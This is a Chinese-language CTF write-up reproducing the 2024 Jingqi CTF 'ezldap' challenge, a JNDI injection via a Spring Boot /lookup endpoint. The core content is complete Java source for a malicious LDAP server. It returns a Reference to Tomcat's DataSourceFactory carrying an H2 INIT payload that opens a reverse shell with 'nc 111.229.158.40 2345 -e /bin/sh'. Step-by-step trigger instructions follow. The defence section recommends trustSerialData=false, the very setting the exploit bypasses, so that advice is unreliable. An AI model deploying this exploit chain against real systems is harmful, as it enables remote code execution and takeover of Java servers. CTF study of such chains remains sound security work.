2024京麒CTF ezldap复现
字数 1226 2025-08-22 12:22:54

2024京麒CTF ezldap漏洞分析与复现指南

1. 环境准备与调试配置

1.1 Docker环境配置

首先需要修改Dockerfile文件,暴露5005调试端口:

FROM eclipse-temurin:17.0.11_9-jdk-alpine
COPY app /app
EXPOSE 8080 5005

构建并运行容器:

docker build -t jq .
docker run -it --entrypoint /bin/bash -p 5005:5005 -p 1212:8080 jq
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 -jar /app/demo-0.0.1-SNAPSHOT.jar

1.2 IDEA远程调试配置

  1. 在IDEA中添加运行配置,选择"Remote JVM Debug"
  2. 配置主机和端口(5005)
  3. 连接后可以设置断点进行调试

2. 漏洞发现与分析

2.1 信息收集

使用dirsearch扫描目录,发现存在Spring Boot Actuator未授权访问漏洞:

  • 访问/actuator/mappings发现关键路由:
    • /source_tr15d0
    • /lookup

2.2 漏洞代码分析

通过/source_tr15d0获取/lookup路由源码:

@GetMapping("/lookup")
public String lookup(String path) {
    try {
        String url = "ldap://" + path;
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
        return "ok";
    } catch (NamingException e) {
        return "failed";
    }
}

2.3 环境限制分析

/actuator/env发现:

  1. 存在H2数据库依赖
  2. com.sun.jndi.ldap.object.trustSerialData设置为false,限制了传统JNDI注入方式

3. 漏洞利用技术分析

3.1 LDAP解码机制

com.sun.jndi.ldap.Obj.java的关键变量:

static final String[] JAVA_ATTRIBUTES = new String[]{
    "objectClass", "javaSerializedData", "javaClassName", 
    "javaFactory", "javaCodeBase", "javaReferenceAddress", 
    "javaClassNames", "javaRemoteLocation"
};

static final String[] JAVA_OBJECT_CLASSES = new String[]{
    "javaContainer", "javaObject", "javaNamingReference", 
    "javaSerializedObject", "javaMarshalledObject"
};

3.2 绕过trustSerialData限制

  1. 设置objectClass为"javaNamingReference"
  2. 进入decodeReference方法后:
    • 获取javaClassNamejavaFactory
    • 新建Reference对象
    • 处理javaReferenceAddress
  3. 最终返回恶意的Reference对象

3.3 利用链分析

  1. 使用org.apache.tomcat.jdbc.pool.DataSourceFactory作为factory类
  2. 通过H2数据库的JDBC连接实现RCE
  3. 利用H2的INIT参数执行命令

4. 漏洞利用实战

4.1 恶意LDAP服务器代码

import com.unboundid.ldap.listener.*;
import com.unboundid.ldap.sdk.*;
import javax.naming.*;
import java.net.*;

public class jingqi {
    private static final String LDAP_BASE = "dc=example,dc=com";
    
    public static void main(String[] args) {
        int port = 1389;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                "listen", InetAddress.getByName("0.0.0.0"), port,
                ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor());
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry entry = new Entry(base);
            try {
                System.out.println("Send LDAP reference");
                entry.addAttribute("objectClass", "javaNamingReference");
                
                String url = "jdbc:h2:mem:memdb;TRACE_LEVEL_SYSTEM_OUT=3;" +
                    "INIT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {" +
                    "Runtime.getRuntime().exec(cmd)\\;return \"test\";}'\\;" +
                    "CALL EXEC('nc 111.229.158.40 2345 -e /bin/sh')\\;";
                
                Reference ref = new Reference("javax.sql.DataSource", 
                    "org.apache.tomcat.jdbc.pool.DataSourceFactory", null);
                ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
                ref.add(new StringRefAddr("url", url));
                ref.add(new StringRefAddr("initialSize", "1"));
                ref.add(new StringRefAddr("username", "sa"));
                
                encodeReference('#', ref, entry);
                result.sendSearchEntry(entry);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

        private void encodeReference(char separator, Reference ref, Entry attrs) {
            String s;
            if ((s = ref.getClassName()) != null) {
                attrs.addAttribute("javaClassName", s);
            }
            if ((s = ref.getFactoryClassName()) != null) {
                attrs.addAttribute("javaFactory", s);
            }
            if ((s = ref.getFactoryClassLocation()) != null) {
                attrs.addAttribute("javaCodeBase", s);
            }
            
            int count = ref.size();
            if (count > 0) {
                String refAttr = "";
                RefAddr refAddr;
                for (int i = 0; i < count; i++) {
                    refAddr = ref.get(i);
                    if (refAddr instanceof StringRefAddr) {
                        refAttr = ("" + separator + i + separator + 
                            refAddr.getType() + separator + refAddr.getContent());
                    }
                    attrs.addAttribute("javaReferenceAddress", refAttr);
                }
            }
        }
    }
}

4.2 利用步骤

  1. 启动恶意LDAP服务器
  2. 构造请求触发漏洞:
    /lookup?path=attacker-ip:1389/Exploit
    
  3. 服务器将返回包含恶意Reference的LDAP响应
  4. 目标应用会通过H2 JDBC连接执行命令

4.3 注意事项

  1. H2 RCE的payload中EXEC函数名只能使用一次
  2. 目标环境是Alpine Linux,只有/bin/sh没有/bin/bash
  3. 需要提前监听反弹shell的端口

5. 防御建议

  1. 禁用不必要的Actuator端点
  2. 升级JDK版本并设置安全属性:
    com.sun.jndi.ldap.object.trustSerialData=false
    
  3. 限制JNDI查找的协议和地址
  4. 避免在代码中直接使用用户输入构造JNDI查询

6. 技术总结

本漏洞利用链结合了:

  1. Spring Boot Actuator未授权访问
  2. JNDI注入绕过高版本JDK限制
  3. H2数据库JDBC连接RCE
  4. 通过LDAP Reference传递恶意配置

通过精心构造LDAP响应,绕过trustSerialData=false的限制,最终实现远程代码执行。

2024京麒CTF ezldap漏洞分析与复现指南 1. 环境准备与调试配置 1.1 Docker环境配置 首先需要修改Dockerfile文件,暴露5005调试端口: 构建并运行容器: 1.2 IDEA远程调试配置 在IDEA中添加运行配置,选择"Remote JVM Debug" 配置主机和端口(5005) 连接后可以设置断点进行调试 2. 漏洞发现与分析 2.1 信息收集 使用dirsearch扫描目录,发现存在Spring Boot Actuator未授权访问漏洞: 访问 /actuator/mappings 发现关键路由: /source_tr15d0 /lookup 2.2 漏洞代码分析 通过 /source_tr15d0 获取 /lookup 路由源码: 2.3 环境限制分析 从 /actuator/env 发现: 存在H2数据库依赖 com.sun.jndi.ldap.object.trustSerialData 设置为false,限制了传统JNDI注入方式 3. 漏洞利用技术分析 3.1 LDAP解码机制 com.sun.jndi.ldap.Obj.java 的关键变量: 3.2 绕过trustSerialData限制 设置 objectClass 为"javaNamingReference" 进入 decodeReference 方法后: 获取 javaClassName 和 javaFactory 值 新建Reference对象 处理 javaReferenceAddress 值 最终返回恶意的Reference对象 3.3 利用链分析 使用 org.apache.tomcat.jdbc.pool.DataSourceFactory 作为factory类 通过H2数据库的JDBC连接实现RCE 利用H2的 INIT 参数执行命令 4. 漏洞利用实战 4.1 恶意LDAP服务器代码 4.2 利用步骤 启动恶意LDAP服务器 构造请求触发漏洞: 服务器将返回包含恶意Reference的LDAP响应 目标应用会通过H2 JDBC连接执行命令 4.3 注意事项 H2 RCE的payload中 EXEC 函数名只能使用一次 目标环境是Alpine Linux,只有 /bin/sh 没有 /bin/bash 需要提前监听反弹shell的端口 5. 防御建议 禁用不必要的Actuator端点 升级JDK版本并设置安全属性: 限制JNDI查找的协议和地址 避免在代码中直接使用用户输入构造JNDI查询 6. 技术总结 本漏洞利用链结合了: Spring Boot Actuator未授权访问 JNDI注入绕过高版本JDK限制 H2数据库JDBC连接RCE 通过LDAP Reference传递恶意配置 通过精心构造LDAP响应,绕过 trustSerialData=false 的限制,最终实现远程代码执行。